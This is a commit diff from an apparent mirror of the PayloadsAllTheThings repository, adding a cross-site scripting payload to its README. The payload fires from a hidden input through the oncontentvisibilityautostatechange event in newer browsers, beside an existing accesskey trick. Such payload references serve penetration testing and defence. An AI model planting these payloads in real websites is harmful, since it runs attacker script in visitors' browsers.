mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-12 07:40:34 -08:00
Update README.md
addedd contentvisibilityautostatechange_event for hidden input
This commit is contained in:
@@ -295,6 +295,10 @@ e.g: 14.rs/#alert(document.domain)
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
Use CTRL+SHIFT+X to trigger the onclick event
|
||||
```
|
||||
in newer browsers : firefox-130/chrome-108
|
||||
```javascript
|
||||
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto" >
|
||||
```
|
||||
|
||||
### XSS when payload is reflected capitalized
|
||||
|
||||
|
||||
Reference in New Issue
Block a user